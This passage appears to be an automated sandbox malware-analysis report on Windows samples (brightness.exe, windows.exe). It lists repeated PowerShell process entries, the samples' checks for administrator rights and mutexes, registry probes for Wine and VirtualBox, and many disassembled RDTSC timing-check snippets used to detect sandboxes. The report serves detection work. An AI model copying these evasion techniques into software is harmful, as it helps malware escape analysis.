Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\SysWOW64\brightness.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_5-19494
Source: C:\ProgramData\windows\windows.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_9-20797
Source: C:\ProgramData\windows\windows.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_9-20812

Found evasive API chain checking for user administrative privileges

Source: C:\ProgramData\windows\windows.exe	Check user administrative privileges: IsUserAndAdmin, DecisionNode			graph_9-21125
Source: C:\Windows\SysWOW64\brightness.exe	Check user administrative privileges: IsUserAndAdmin, DecisionNode			graph_5-19772

Switches to a custom stack to bypass stack traces

Source: C:\ProgramData\windows\windows.exe

API/Special instruction interceptor: Address: 7FFE2220E814

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Windows\SysWOW64\brightness.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Windows\SysWOW64\brightness.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\ProgramData\windows\windows.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\ProgramData\windows\windows.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C2EE0 second address: 4C2EE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4AA435 second address: 4AA471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jbe 00007F4600EB051Ch 0x0000000b jmp 00007F4600EB04F6h 0x00000010 pushad 0x00000011 jmp 00007F4600EB04F6h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C1FCA second address: 4C1FF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F4600C59B0Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jc 00007F4600C59B06h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jng 00007F4600C59B0Eh 0x0000001c pushad 0x0000001d popad 0x0000001e jns 00007F4600C59B06h 0x00000024 push eax 0x00000025 jbe 00007F4600C59B06h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C1FF7 second address: 4C2019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4600EB04F9h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C2019 second address: 4C201D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C26E4 second address: 4C26EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4000 second address: 4C4006 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4006 second address: 4C402C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F4600EB04E6h 0x00000009 jmp 00007F4600EB04F3h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C402C second address: 4C404B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F4600C59B06h 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4182 second address: 4C4187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4187 second address: 4C41C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F4600C59B0Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F4600C59B0Dh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F4600C59B0Fh 0x00000024 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4280 second address: 4C4286 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4286 second address: 4C4290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F4600C59B06h 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4290 second address: 4C42DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 26FEDF14h 0x0000000f adc cx, B7AAh 0x00000014 push 00000003h 0x00000016 sub dl, 00000065h 0x00000019 push 00000000h 0x0000001b movsx edx, si 0x0000001e push 00000003h 0x00000020 jne 00007F4600EB04ECh 0x00000026 call 00007F4600EB04E9h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007F4600EB04F1h 0x00000033 pushad 0x00000034 popad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C42DC second address: 4C42E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4600C59B06h 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C42E6 second address: 4C4324 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F4600EB04E8h 0x00000010 pop edx 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jno 00007F4600EB0500h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4324 second address: 4C4334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4600C59B0Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C4334 second address: 4C434A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnp 00007F4600EB04E6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C434A second address: 4C437E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov edx, dword ptr [ebp+143639E7h] 0x0000000d lea ebx, dword ptr [ebp+144E1F41h] 0x00000013 push eax 0x00000014 pushad 0x00000015 jp 00007F4600C59B1Ch 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C43EF second address: 4C43F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4C43F3 second address: 4C44B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007F4600C59B17h 0x0000000f push ebx 0x00000010 mov dword ptr [ebp+14362A80h], edx 0x00000016 pop ecx 0x00000017 pop esi 0x00000018 movsx edi, bx 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F4600C59B08h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 js 00007F4600C59B1Fh 0x0000003d pushad 0x0000003e jmp 00007F4600C59B16h 0x00000043 cmc 0x00000044 popad 0x00000045 push EC734F90h 0x0000004a jmp 00007F4600C59B14h 0x0000004f add dword ptr [esp], 138CB0F0h 0x00000056 add edx, 0BBBA18Fh 0x0000005c sub dword ptr [ebp+14361F50h], esi 0x00000062 push 00000003h 0x00000064 mov dx, di 0x00000067 push 00000000h 0x00000069 mov di, si 0x0000006c push 00000003h 0x0000006e add dword ptr [ebp+14362B9Bh], esi 0x00000074 push 98071A51h 0x00000079 push ebx 0x0000007a push eax 0x0000007b push edx 0x0000007c jmp 00007F4600C59B0Eh 0x00000081 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E2FB5 second address: 4E2FBF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4600EB04FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E353C second address: 4E3540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3540 second address: 4E355D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F4h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E355D second address: 4E3567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3567 second address: 4E3579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4600EB04EAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3B25 second address: 4E3B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3C98 second address: 4E3C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3C9C second address: 4E3CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F4600C59B0Eh 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3CB0 second address: 4E3CB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3CB5 second address: 4E3CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3DF8 second address: 4E3DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3DFC second address: 4E3E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E3E00 second address: 4E3E0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4600EB04E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E4092 second address: 4E40A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B12h 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4D86A1 second address: 4D86A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E47B6 second address: 4E47C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E47C9 second address: 4E47CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E47CF second address: 4E47DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E4F1F second address: 4E4F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F4600EB04EBh 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4E4F2F second address: 4E4F54 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4600C59B1Fh 0x00000008 jmp 00007F4600C59B19h 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B11B6 second address: 4B11D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04EBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F4600EB04ECh 0x00000011 je 00007F4600EB04E6h 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4EB831 second address: 4EB837 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4EAA8B second address: 4EAA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4EBB54 second address: 4EBB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4EBB58 second address: 4EBB5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4AC049 second address: 4AC04F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F134F second address: 4F1353 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F14D9 second address: 4F14F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F4600C59B13h 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F14F1 second address: 4F1518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4600EB04EAh 0x00000009 jmp 00007F4600EB04F9h 0x0000000e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F1518 second address: 4F1528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F4600C59B06h 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F1528 second address: 4F152C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F16A4 second address: 4F16AE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4600C59B12h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F16AE second address: 4F16B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F1C7A second address: 4F1C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F4A39 second address: 4F4A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F5214 second address: 4F522A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F577A second address: 4F577E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F5C2F second address: 4F5C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F5C3B second address: 4F5C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F61C1 second address: 4F625A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007F4600C59B0Fh 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F4600C59B08h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov di, 12A0h 0x0000002b push 00000000h 0x0000002d jmp 00007F4600C59B0Eh 0x00000032 jo 00007F4600C59B19h 0x00000038 call 00007F4600C59B0Ch 0x0000003d sub dword ptr [ebp+14361DDEh], eax 0x00000043 pop esi 0x00000044 push 00000000h 0x00000046 push 00000000h 0x00000048 push ecx 0x00000049 call 00007F4600C59B08h 0x0000004e pop ecx 0x0000004f mov dword ptr [esp+04h], ecx 0x00000053 add dword ptr [esp+04h], 00000015h 0x0000005b inc ecx 0x0000005c push ecx 0x0000005d ret 0x0000005e pop ecx 0x0000005f ret 0x00000060 jns 00007F4600C59B06h 0x00000066 xchg eax, ebx 0x00000067 push eax 0x00000068 push edx 0x00000069 jnl 00007F4600C59B0Ch 0x0000006f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F6C44 second address: 4F6C4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4600EB04E6h 0x0000000a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F74CC second address: 4F74D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F74D1 second address: 4F74E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jl 00007F4600EB04F4h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4F74E5 second address: 4F74E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC8EC second address: 4FC8F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB271 second address: 4FB275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
